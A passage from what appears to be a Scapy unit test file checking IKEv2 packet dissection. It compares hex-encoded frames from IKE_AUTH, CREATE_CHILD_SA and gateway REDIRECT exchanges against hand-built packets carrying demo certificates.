extnID=ASN1_OID('subjectKeyIdentifier'), critical=None, extnValue=X509_ExtSubjectKeyIdentifier( keyIdentifier=ASN1_STRING(b'Z^j\xa2\x9f\x89\x95\x911\xc1p\x18\xefd\xdc*\x8aJJj') ) ), X509_Extension( extnID=ASN1_OID('authorityKeyIdentifier'), critical=None, extnValue=X509_ExtAuthorityKeyIdentifier( keyIdentifier=ASN1_STRING(b'%\xdbmD\xde\xc7\xa0>\xb5\xf8b:\xb1\x87\x84Tj\x0f\x04\t'), authorityCertIssuer=X509_GeneralName( generalName=X509_DirectoryName( directoryName=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050'))) ] ) ), authorityCertSerialNumber=ASN1_INTEGER(0x20002) ) ), X509_Extension( extnID=ASN1_OID('subjectAltName'), critical=None, extnValue=X509_ExtSubjectAltName( subjectAltName=[ X509_GeneralName( generalName=X509_OtherName( type_id=ASN1_OID('.1.3.6.1.4.1.311.20.2.3'), value=ASN1_UTF8_STRING(b'Client1@demo.ncp-e.com') ) ), X509_GeneralName( generalName=X509_RFC822Name( rfc822Name=ASN1_IA5_STRING(b'Client1@demo.ncp-e.com') ) ) ] ) ) ] ), signatureAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecdsa-with-SHA256'), parameters=None ), signatureValue=ECDSASignature( r=ASN1_INTEGER(0x602d766db7e07b70d88e3810acc6cd350ccdda1e60d77bd36ed6e60f869ef371), s=ASN1_INTEGER(0xd1e3d278fcacf41cd8380691363ad3933d6bc293fae9c847ddf6187bb0f06f49) ) ) ) / IKEv2_Notify( next_payload='Notify', flags='', length=8, proto='IKE', type='INITIAL_CONTACT', notify='' ) / IKEv2_Notify( next_payload='CERTREQ', flags='', length=8, proto='IKE', type='HTTP_CERT_LOOKUP_SUPPORTED', notify='' ) / IKEv2_CERTREQ( next_payload='AUTH', flags='', length=65, cert_encoding='X.509 Certificate - Signature', cert_authority=b'\x91\xc1\xdc\x0f*\x8f\x0e;\xd7\xda\x99\x1aC\xa3\x92&5^B)\xbc\xb6*\x0e\x9d\xe9y\xfd\xa8d\xe3\xf0d`\xdc\xaa\xff\x85\x07Y\xf4\x89V#8e!N\x9a\x10\xe67oLY\xb5\xc0/6m' ) / IKEv2_AUTH( next_payload='CP', flags='', length=92, auth_type='Digital Signature', res2=0x0, load=b'\x0c0\n\x06\x08*\x86H\xce=\x04\x03\x020E\x02!\x00\xc1Hj\xb5\xb3\xdbL\x8b\x08\xf3\xae\x06\x13 \x10L\x82o\xb0\x80;\xa1\xe6\xe3\rX\xc8\x00\x0b\xacQB\x02 Xe\xeaA\xbc\x99\xe0\xad\xfa(Vw\x0e\xfa\xffS\x0f.\x85P\xda\x1d\x86\xf8PM\xf0\x04\x02_\xb1-' ) / IKEv2_CP( next_payload='SA', flags='', length=128, CFGType='CFG_REQUEST', res2=0x0, attributes=[ ConfigurationAttribute(type='INTERNAL_IP4_ADDRESS', length=0, value=''), ConfigurationAttribute(type='INTERNAL_IP4_NETMASK', length=0, value=''), ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=0, value=''), ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=0, value=''), ConfigurationAttribute(type=20002, length=0, value=''), ConfigurationAttribute(type='INTERNAL_IP6_ADDRESS', length=0, value=''), ConfigurationAttribute(type=9, length=0, value=''), ConfigurationAttribute(type='INTERNAL_IP6_DNS', length=0, value=''), ConfigurationAttribute(type='INTERNAL_DNS_DOMAIN', length=0, value=''), ConfigurationAttribute(type='APPLICATION_VERSION', length=0, value=''), ConfigurationAttribute(type=28672, length=0, value=''), ConfigurationAttribute(type=28673, length=0, value=''), ConfigurationAttribute(type=28674, length=0, value=''), ConfigurationAttribute(type=20006, length=0, value=''), ConfigurationAttribute(type=20007, length=0, value=''), ConfigurationAttribute(type=28675, length=0, value=''), ConfigurationAttribute(type=28676, length=0, value=''), ConfigurationAttribute(type=28677, length=0, value=''), ConfigurationAttribute(type=28678, length=0, value=''), ConfigurationAttribute(type=28679, length=0, value=''), ConfigurationAttribute(type=28680, length=0, value=''), ConfigurationAttribute(type=28681, length=0, value=''), ConfigurationAttribute(type=20003, length=0, value=''), ConfigurationAttribute(type=20004, length=0, value=''), ConfigurationAttribute(type=28682, length=0, value=''), ConfigurationAttribute(type=20005, length=6, value='debian'), ConfigurationAttribute(type=28682, length=6, value='debian') ] ) / IKEv2_SA( next_payload='TSi', flags='', length=36, prop=IKEv2_Proposal( next_payload='None', flags='', length=32, proposal=1, proto='ESP', SPIsize=4, trans_nb=2, SPI=b'\xc1\xa9ek', trans=IKEv2_Transform(flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=128) / IKEv2_Transform(flags='', length=8, transform_type='Extended Sequence Number', res2=0, transform_id='No ESN') ) ) / IKEv2_TSi( next_payload='TSr', flags='', length=24, number_of_TSs=1, res2=0x0, traffic_selector=[ IPv4TrafficSelector(TS_type='TS_IPV4_ADDR_RANGE', IP_protocol_ID='All protocols', length=16, start_port=0, end_port=65535, starting_address_v4='0.0.0.0', ending_address_v4='255.255.255.255') ] ) / IKEv2_TSr( next_payload='VendorID', flags='', length=24, number_of_TSs=1, res2=0x0, traffic_selector=[ IPv4TrafficSelector( TS_type='TS_IPV4_ADDR_RANGE', IP_protocol_ID='All protocols', length=16, start_port=0, end_port=65535, starting_address_v4='192.168.225.0', ending_address_v4='192.168.225.255') ] ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'\xc6\x1b\xac\xa1\xf1\xa6\x0c\xc2\x08\x00\x00\x00\x00\x00\x00\x00' ) / IKEv2_VendorID( next_payload='Notify', flags='', length=28, vendorID=b'NcP\n\t\xb8\xe8<\x80\xb6\x936&\x8e\xc8\xf6\x00\x0c)0\x10\x9e\x00\x00' ) / IKEv2_Notify( next_payload='Notify', flags='', length=8, type='MOBIKE_SUPPORTED', notify='' ) / IKEv2_Notify( next_payload=None, flags='', length=8, type='MULTIPLE_AUTH_SUPPORTED' ) ), # IKE_AUTH response, decrypted ( # i: frame number -3, # title: "IKE_AUTH response, decrypted", binascii.unhexlify(''.join(""" 000c2930109e0050 56eddb3208004500 0518a5dd00008011 1e5fac100f5cc0a8 f58311942aca0504 886e000000008992 2c915f35570e98d5 6d32e2a047422420 2320000000010000 04f82500007e0900 00003074310b3009 0603550406130244 45311a3018060355 040a0c1144656d6f 204f7267616e697a 6174696f6e311030 0e060355040b0c07 44656d6f204f5531 10300e0603550403 0c07536572766572 313125302306092a 864886f70d010901 1616736572766572 314064656d6f2e6e 63702d652e636f6d 270002e604308202 dd30820283a00302 0102020401000016 300a06082a8648ce 3d040302304b310b 3009060355040613 024445310f300d06 0355040813064261 7965726e310c300a 060355040a13034e 4350311d301b0603 55040313144e4350 2044656d6f204341 2045434320323035 303022180f323031 3630383034303830 3031355a180f3230 3530303830353038 303031355a307431 0b30090603550406 13024445311a3018 060355040a0c1144 656d6f204f726761 6e697a6174696f6e 3110300e06035504 0b0c0744656d6f20 4f553110300e0603 5504030c07536572 7665723131253023 06092a864886f70d 0109011616736572 766572314064656d 6f2e6e63702d652e 636f6d3059301306 072a8648ce3d0201 06082a8648ce3d03 010703420004dec7 f4b2c8b2dc4d6345 ea1bc875c1076b55 d9dbc87d069d189b 3fd6bdffec3ec40a fc74a88583cc541b 46ada5e4040ce77d 6ab7745987296ec1 d236a878f394a382 0126308201223009 0603551d13040230 00300b0603551d0f 0404030205a03027 0603551d25042030 1e06082b06010505 07030106082b0601 050507030206082b 0601050507030630 1d0603551d0e0416 0414a54698574719 a02a49f01a2c9484 d482d94c27233075 0603551d23046e30 6c801425db6d44de c7a03eb5f8623ab1 8784546a0f0409a1 4fa44d304b310b30 0906035504061302 4445310f300d0603 5504081306426179 65726e310c300a06 0355040a13034e43 50311d301b060355 040313144e435020 44656d6f20434120 4543432032303530 8203020002304906 03551d1104423040 a026060a2b060104 018237140203a018 0c16536572766572 314064656d6f2e6e 63702d652e636f6d 8116536572766572 314064656d6f2e6e 63702d652e636f6d 300a06082a8648ce 3d04030203480030 4502205387d21afa 1bab56fc406f8176 8ae73fe18b93b4cf f191fd01cda6fd92 020e95022100ee5f 6735a9f6d6b377e7 13cacdddd72fc7fb a5d48258479ee1ed f2af2da848502f00 005c0e0000000c30 0a06082a8648ce3d 0403023045022078 d6a7e8b366bde8f9 c12f269f2bf64116 9511ce621a90059a ed0fea47538b0e02 21008cf30813d135 aafe8e4dc0fdf2fd 595a9867f1a6083d 1e01a149c905ecf9 bfe62100005c0200 000000010004c0a8 e10a00020004ffff ff004e240004c0a8 e101000300040000 0000000300040000 00004e220004ac10 0f5c4e2200040000 0000000400040000 0000000400040000 00004e2300040000 0000700200002800 0024000000200103 0402ac0faf030300 000c01000014800e 0080000000080500 00002c00002ccf0e 7950765db7f7371d bbdfa1720493c83c 1ba4dc3617c3192a 57b9285d9a630ac7 164611fdf42c2d00 0018010000000700 00100000ffffc0a8 e10ac0a8e10a2b00 0018010000000700 00100000ffffc0a8 e100c0a8e1ff2900 0014afcad71368a1 f1c96b8696fc7757 0100000000080000 400c """.split())), Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=1304, id=42461, flags='', frag=0, ttl=128, proto='udp', chksum=0x1e5f, src='172.16.15.92', dst='192.168.245.131') / UDP(sport=4500, dport=10954, len=1284, chksum=0x886e) / NON_ESP(non_esp=0x0) / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x98\xd5m2\xe2\xa0GB', next_payload='IDr', version=0x20, exch_type='IKE_AUTH', flags='Response', id=1, length=1272 ) / IKEv2_IDr( next_payload='CERT', flags='', length=126, IDtype=9, res2=0x0, ID=b'0t1\x0b0\t\x06\x03U\x04\x06\x13\x02DE1\x1a0\x18\x06\x03U\x04\n\x0c\x11Demo Organization1\x100\x0e\x06\x03U\x04\x0b\x0c\x07Demo OU1\x100\x0e\x06\x03U\x04\x03\x0c\x07Server11%0#\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x16server1@demo.ncp-e.com' ) / IKEv2_CERT( next_payload='AUTH', flags='', length=742, cert_encoding='X.509 Certificate - Signature', cert_data=X509_Cert( tbsCertificate=X509_TBSCertificate( version=ASN1_INTEGER(2), serialNumber=ASN1_INTEGER(0x1000016), signature=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecdsa-with-SHA256'), parameters=None ), issuer=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050'))) ], validity=X509_Validity( not_before=ASN1_GENERALIZED_TIME('20160804080015Z'), not_after=ASN1_GENERALIZED_TIME('20500805080015Z') ), subject=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_UTF8_STRING(b'Demo Organization'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationUnitName'), value=ASN1_UTF8_STRING(b'Demo OU'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_UTF8_STRING(b'Server1'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('emailAddress'), value=ASN1_IA5_STRING(b'server1@demo.ncp-e.com'))) ], subjectPublicKeyInfo=X509_SubjectPublicKeyInfo( signatureAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecPublicKey'), parameters=ECParameters(curve=ASN1_OID('prime256v1')), ), subjectPublicKey=ECDSAPublicKey( ecPoint=ASN1_BIT_STRING( '000001001101111011000111111101001011001011001000101100101101110' '001001101011000110100010111101010000110111100100001110101110000' '010000011101101011010101011101100111011011110010000111110100000' '110100111010001100010011011001111111101011010111101111111111110' '110000111110110001000000101011111100011101001010100010000101100' '000111100110001010100000110110100011010101101101001011110010000' '000100000011001110011101111101011010101011011101110100010110011' '000011100101001011011101100000111010010001101101010100001111000' '1111001110010100' ) ) ), issuerUniqueID=None, subjectUniqueID=None, extensions=[ X509_Extension( extnID=ASN1_OID('basicConstraints'), critical=None, extnValue=X509_ExtBasicConstraints(cA=None, pathLenConstraint=None) ), X509_Extension( extnID=ASN1_OID('keyUsage'), critical=None, extnValue=X509_ExtKeyUsage(keyUsage=ASN1_BIT_STRING('101')) ), X509_Extension( extnID=ASN1_OID('extKeyUsage'), critical=None, extnValue=X509_ExtExtendedKeyUsage( extendedKeyUsage=[ ASN1P_OID(oid=ASN1_OID('serverAuth')), ASN1P_OID(oid=ASN1_OID('clientAuth')), ASN1P_OID(oid=ASN1_OID('ipsecTunnel')) ] ) ), X509_Extension( extnID=ASN1_OID('subjectKeyIdentifier'), critical=None, extnValue=X509_ExtSubjectKeyIdentifier( keyIdentifier=ASN1_STRING(b"\xa5F\x98WG\x19\xa0*I\xf0\x1a,\x94\x84\xd4\x82\xd9L'#") ) ), X509_Extension( extnID=ASN1_OID('authorityKeyIdentifier'), critical=None, extnValue=X509_ExtAuthorityKeyIdentifier( keyIdentifier=ASN1_STRING(b'%\xdbmD\xde\xc7\xa0>\xb5\xf8b:\xb1\x87\x84Tj\x0f\x04\t'), authorityCertIssuer=X509_GeneralName( generalName=X509_DirectoryName( directoryName=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050'))) ] ) ), authorityCertSerialNumber=ASN1_INTEGER(0x20002) ) ), X509_Extension( extnID=ASN1_OID('subjectAltName'), critical=None, extnValue=X509_ExtSubjectAltName( subjectAltName=[ X509_GeneralName( generalName=X509_OtherName( type_id=ASN1_OID('.1.3.6.1.4.1.311.20.2.3'), value=ASN1_UTF8_STRING(b'Server1@demo.ncp-e.com') ) ), X509_GeneralName( generalName=X509_RFC822Name( rfc822Name=ASN1_IA5_STRING(b'Server1@demo.ncp-e.com') ) ) ] ) ) ] ), signatureAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecdsa-with-SHA256'), parameters=None ), signatureValue=ECDSASignature( r=ASN1_INTEGER(0x5387d21afa1bab56fc406f81768ae73fe18b93b4cff191fd01cda6fd92020e95), s=ASN1_INTEGER(0xee5f6735a9f6d6b377e713cacdddd72fc7fba5d48258479ee1edf2af2da84850) ) ) ) / IKEv2_AUTH( next_payload='CP', flags='', length=92, auth_type='Digital Signature', res2=0x0, load=b'\x0c0\n\x06\x08*\x86H\xce=\x04\x03\x020E\x02 x\xd6\xa7\xe8\xb3f\xbd\xe8\xf9\xc1/&\x9f+\xf6A\x16\x95\x11\xceb\x1a\x90\x05\x9a\xed\x0f\xeaGS\x8b\x0e\x02!\x00\x8c\xf3\x08\x13\xd15\xaa\xfe\x8eM\xc0\xfd\xf2\xfdYZ\x98g\xf1\xa6\x08=\x1e\x01\xa1I\xc9\x05\xec\xf9\xbf\xe6' ) / IKEv2_CP( next_payload='SA', flags='', length=92, CFGType='CFG_REPLY', res2=0x0, attributes=[ ConfigurationAttribute(type='INTERNAL_IP4_ADDRESS', length=4, value='192.168.225.10'), ConfigurationAttribute(type='INTERNAL_IP4_NETMASK', length=4, value='255.255.255.0'), ConfigurationAttribute(type=20004, length=4, value=b'\xc0\xa8\xe1\x01'), ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=4, value='0.0.0.0'), ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=4, value='0.0.0.0'), ConfigurationAttribute(type=20002, length=4, value=b'\xac\x10\x0f\x5c'), ConfigurationAttribute(type=20002, length=4, value='\x00\x00\x00\x00'), ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=4, value='0.0.0.0'), ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=4, value='0.0.0.0'), ConfigurationAttribute(type=20003, length=4, value=b'\x00\x00\x00\x00'), ConfigurationAttribute(type=28674, length=0) ] ) / IKEv2_SA( next_payload='Nonce', flags='', length=36, prop=IKEv2_Proposal( flags='', length=32, proposal=1, proto='ESP', SPIsize=4, trans_nb=2, SPI=b'\xac\x0f\xaf\x03', trans=IKEv2_Transform(flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=128) / IKEv2_Transform(flags='', length=8, transform_type='Extended Sequence Number', res2=0, transform_id='No ESN') ) ) / IKEv2_Nonce( next_payload='TSi', flags='', length=44, nonce=b'\xcf\x0eyPv]\xb7\xf77\x1d\xbb\xdf\xa1r\x04\x93\xc8<\x1b\xa4\xdc6\x17\xc3\x19*W\xb9(]\x9ac\n\xc7\x16F\x11\xfd\xf4,' ) / IKEv2_TSi( next_payload='TSr', flags='', length=24, number_of_TSs=1, res2=0x0, traffic_selector=[ IPv4TrafficSelector( TS_type='TS_IPV4_ADDR_RANGE', IP_protocol_ID='All protocols', length=16, start_port=0, end_port=65535, starting_address_v4='192.168.225.10', ending_address_v4='192.168.225.10' ) ] ) / IKEv2_TSr( next_payload='VendorID', flags='', length=24, number_of_TSs=1, res2=0x0, traffic_selector=[ IPv4TrafficSelector( TS_type='TS_IPV4_ADDR_RANGE', IP_protocol_ID='All protocols', length=16, start_port=0, end_port=65535, starting_address_v4='192.168.225.0', ending_address_v4='192.168.225.255' ) ] ) / IKEv2_VendorID( next_payload='Notify', flags='', length=20, vendorID=b'\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00' ) / IKEv2_Notify( next_payload='None', flags='', length=8, type='MOBIKE_SUPPORTED' ) ), # CREATE_CHILD_SA request, decrypted ( # i: frame number -4, # title: "CREATE_CHILD_SA request, decrypted", binascii.unhexlify(''.join(""" 00 50 56 99 bf d5 00 50 56 99 69 93 08 00 45 00 01 38 60 32 40 00 40 11 c1 0f 0a 05 02 36 0a 05 02 34 b8 99 11 94 01 24 19 a9 00 00 00 00 46 b3 f6 88 4d 37 5f 9a f5 38 82 35 ea 87 5e 8a 29 20 24 00 00 00 00 00 00 00 01 18 21 00 00 0c 03 04 40 09 5f c7 ff 5a 28 00 00 2c 00 00 00 28 01 03 04 03 6b 21 88 20 03 00 00 0c 01 00 00 14 80 0e 00 80 03 00 00 08 04 00 00 1c 00 00 00 08 05 00 00 00 22 00 00 2c ea 7e 88 57 4a 36 64 cd 67 e3 3c 42 46 66 59 4d df 70 25 03 b2 00 a3 3f 87 82 f2 3c 94 c0 60 0e ae 7e d9 50 d7 67 e9 6e 2c 00 00 48 00 1c 00 00 8e 15 b1 f4 9a cc 04 ff 12 e3 2f bc 3a f0 57 14 81 f3 b9 6c 21 1a f7 36 97 6d c2 23 80 74 ef 75 59 d1 99 65 5a a5 80 00 87 4a bf 1f 13 f7 e1 6f de 34 80 94 28 1c 93 cb 5a ee 30 24 d9 3e b9 55 2d 00 00 18 01 00 00 00 07 00 00 10 00 00 ff ff c0 a8 e1 0b c0 a8 e1 0b 00 00 00 18 01 00 00 00 07 00 00 10 00 00 ff ff c0 a8 e1 00 c0 a8 e1 ff """.split())), Ether(dst='00:50:56:99:bf:d5', src='00:50:56:99:69:93', type=2048) /\ IP(version=4, ihl=5, tos=0, len=312, id=24626, flags=2, frag=0, ttl=64, proto=17, chksum=49423, src='10.5.2.54', dst='10.5.2.52') /\ UDP(sport=47257, dport=4500, len=292, chksum=6569) /\ NON_ESP(non_esp=0) /\ IKEv2( init_SPI=b'F\xb3\xf6\x88M7_\x9a', resp_SPI=b'\xf58\x825\xea\x87^\x8a', next_payload=41, version=32, exch_type=36, flags=0, id=0, length=280 ) /\ IKEv2_Notify( next_payload=33, flags=0, length=12, proto=3, SPIsize=4, type=16393, SPI=b'_\xc7\xffZ', notify=b'' ) /\ IKEv2_SA( prop=IKEv2_Proposal( trans=( IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=128) /\ IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=4, res2=0, transform_id=28) /\ IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=5, res2=0, transform_id=0) ), next_payload=0, flags=0, length=40, proposal=1, proto=3, SPIsize=4, trans_nb=3, SPI=b'k!\x88 '), next_payload=40, flags=0, length=44 ) /\ IKEv2_Nonce( next_payload=34, flags=0, length=44, nonce=b'\xea~\x88WJ6d\xcdg\xe3\xb9U' ) /\ IKEv2_TSi( traffic_selector=[ IPv4TrafficSelector( TS_type=7, IP_protocol_ID=0, length=16, start_port=0, end_port=65535, starting_address_v4='192.168.225.11', ending_address_v4='192.168.225.11' ) ], next_payload=45, flags=0, length=24, number_of_TSs=1, res2=0 ) /\ IKEv2_TSr( traffic_selector=[ IPv4TrafficSelector( TS_type=7, IP_protocol_ID=0, length=16, start_port=0, end_port=65535, starting_address_v4='192.168.225.0', ending_address_v4='192.168.225.255' ) ], next_payload=0, flags=0, length=24, number_of_TSs=1, res2=0 ) ), ] for i, title, data, packet in frames: print(title) if i >= 0: # the raw frame data coincides with the frame from the packet capture assert data == raw(pcap[i]) # the scapy packet correctly describes the frame assert raw(packet) == data # reassembling the dissected frame yields the original frame assert raw(Ether(data)) == data = IKEv2 key exchange with REDIRECT * Loads and dissects the four frames of the key exchange from a Wireshark * capture and compares them with manually built scapy packets. pcap = rdpcap(scapy_path("/test/pcaps/ikev2_notify_redirect.pcap")) frames = [ ( # i: frame number 0, # title: "IKE_SA_INIT request (redirect_supported)", # data: raw frame data binascii.unhexlify(''.join(""" 00505699bfd50050 56991bcc08004500 012cb73300007f11 6aac0a05023c0a05 02342ac801f40118 62b8886948814975 28ad000000000000 0000212022080000 0000000001102200 0028000000240101 00030300000c0100 0014800e01000300 0008020000050000 00080400001c2800 0048001c00002895 d48e470d8cb88196 62f3370c57b26cd3 49c16f5ec1b31959 f9ef695480bc7323 52f96d0a7c4a54f1 d596bb4fcc2f368e 31985a76ea5a7c77 d4310d372d962900 002c4bf3ea6cd0c6 afe702c567fe7db3 ff973424bb5e9de6 af123a41975a6ffb 266e9c5b4c915795 132b2900001c0100 4005509b01b43dc2 8c9df849fd765c64 8a512959ac502900 001c010040045312 0985399e14cf2b79 211f375b439bd030 31ac290000080000 402e290000080000 4016000000100000 402f000100020003 0004 """.split())), # packet: Ether / IP / UDP / IKEv2 / ... Ether(dst='00:50:56:99:bf:d5', src='00:50:56:99:1b:cc', type=2048) /\ IP(version=4, ihl=5, tos=0, id=46899, flags=0, frag=0, ttl=127, proto=17, chksum=27308, src='10.5.2.60', dst='10.5.2.52') /\ UDP(sport=10952, dport=500, chksum=25272) /\ IKEv2( init_SPI=b'\x88iH\x81Iu(\xad', resp_SPI=b'\x00\x00\x00\x00\x00\x00\x00\x00', next_payload=33, version=32, exch_type=34, flags=8, id=0 ) /\ IKEv2_SA( prop=IKEv2_Proposal( trans=( IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=256) /\ IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=2, res2=0, transform_id=5) /\ IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=4, res2=0, transform_id=28) ), next_payload=0, flags=0, length=36, proposal=1, proto='IKE', trans_nb=3), next_payload=34, flags=0, length=40 ) /\ IKEv2_KE( next_payload=40, flags=0, length=72, group=28, res2=0, ke=b'(\x95\xd4\x8eG\r\x8c\xb8\x81\x96b\xf37\x0cW\xb2l\xd3I\xc1o^\xc1\xb3\x19Y\xf9\xefiT\x80\xbcs#R\xf9m\n|JT\xf1\xd5\x96\xbbO\xcc/6\x8e1\x98Zv\xeaZ|w\xd41\r7-\x96' ) /\ IKEv2_Nonce( next_payload=41, flags=0, length=44, nonce=b'K\xf3\xeal\xd0\xc6\xaf\xe7\x02\xc5g\xfe}\xb3\xff\x974$\xbb^\x9d\xe6\xaf\x12:A\x97Zo\xfb&n\x9c[L\x91W\x95\x13+' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=28, proto='IKE', type='NAT_DETECTION_DESTINATION_IP', notify=b'P\x9b\x01\xb4=\xc2\x8c\x9d\xf8I\xfdv\\d\x8aQ)Y\xacP' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=28, proto='IKE', type='NAT_DETECTION_SOURCE_IP', notify=b'S\x12\t\x859\x9e\x14\xcf+y!\x1f7[C\x9b\xd001\xac' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=8, type='IKEV2_FRAGMENTATION_SUPPORTED', ) /\ IKEv2_Notify( next_payload=41, flags=0, length=8, type='REDIRECT_SUPPORTED', ) /\ IKEv2_Notify( next_payload=0, flags=0, length=16, type='SIGNATURE_HASH_ALGORITHMS', notify=b'\x00\x01\x00\x02\x00\x03\x00\x04' ) ), ( # i: frame number 1, # title: "IKE_SA_INIT response (redirect)", # data: raw frame data # data: raw frame data binascii.unhexlify(''.join(""" 005056991bcc0050 5699bfd508004500 0086c4d300004011 9d1a0a0502340a05 023c01f42ac80072 c9bc886948814975 28ad000000000000 0000292022200000 00000000006a0000 004e01004017031c 6d6f6e657962696e 2e6475636b627572 672e6469736e6579 2e636f6d4bf3ea6c d0c6afe702c567fe 7db3ff973424bb5e 9de6af123a41975a 6ffb266e9c5b4c91 5795132b """.split())), # packet: Ether / IP / UDP / IKEv2 / ... Ether(dst='00:50:56:99:1b:cc', src='00:50:56:99:bf:d5', type=2048) /\ IP(version=4, ihl=5, tos=0, id=50387, flags=0, frag=0, ttl=64, proto=17, src='10.5.2.52', dst='10.5.2.60') /\ UDP(sport=500, dport=10952) /\ IKEv2( init_SPI=b'\x88iH\x81Iu(\xad', resp_SPI=b'\x00\x00\x00\x00\x00\x00\x00\x00', next_payload=41, version=32, exch_type=34, flags=32, id=0 ) /\ IKEv2_Notify( next_payload=0, flags=0, length=78, proto='IKE', type='REDIRECT', gw_id_type=3, gw_id=b'moneybin.duckburg.disney.com', nonce=b'K\xf3\xeal\xd0\xc6\xaf\xe7\x02\xc5g\xfe}\xb3\xff\x974$\xbb^\x9d\xe6\xaf\x12:A\x97Zo\xfb&n\x9c[L\x91W\x95\x13+' ) ), ( # i: frame number 2, # title: "IKE_SA_INIT request (redirected_from)", # data: raw frame data binascii.unhexlify(''.join(""" 0050569907660050 56991bcc08004500 013290ac00007f11 91940a05023c0a05 02352ac801f4011e cba11c88ee0b7793 d52e000000000000 0000212022080000 0000000001162200 0028000000240101 00030300000c0100 0014800e01000300 0008020000050000 00080400001c2800 0048001c00004616 8482fe53233fc1e2 2f9726b7adfe0dfc f53d1558fd663168 24ceec32d4d33f57 7941d3d52e929b3b ed0b2eef12886117 cd358655f2f6ffd6 fb54fd48bbc52900 002ca573e33f62cf 2893f80abed1677c a303249bf90aae99 980052cbdfd9cc6b 6e70605869ef142b cdfd2900001c0100 40052c07d7519ad8 df23a23027e9e7c2 654b32c4e0f32900 001c010040041a1d 001cd4d06f42d1ce 836f7ced61c683b1 87ef290000080000 402e2900000e0000 401801040a050234 000000100000402f 0001000200030004 """.split())), # packet: Ether / IP / UDP / IKEv2 / ... Ether(dst='00:50:56:99:07:66', src='00:50:56:99:1b:cc', type=2048) /\ IP(version=4, ihl=5, tos=0, id=37036, flags=0, frag=0, ttl=127, proto=17, src='10.5.2.60', dst='10.5.2.53') /\ UDP(sport=10952, dport=500) /\ IKEv2( init_SPI=b'\x1c\x88\xee\x0bw\x93\xd5.', resp_SPI=b'\x00\x00\x00\x00\x00\x00\x00\x00', next_payload=33, version=32, exch_type=34, flags=8, id=0) /\ IKEv2_SA( prop=IKEv2_Proposal( trans=( IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=256) /\ IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=2, res2=0, transform_id=5) /\ IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=4, res2=0, transform_id=28) ), next_payload=0, flags=0, length=36, proposal=1, proto='IKE', trans_nb=3, ), next_payload=34, flags=0, length=40 ) /\ IKEv2_KE( next_payload=40, flags=0, length=72, group=28, res2=0, 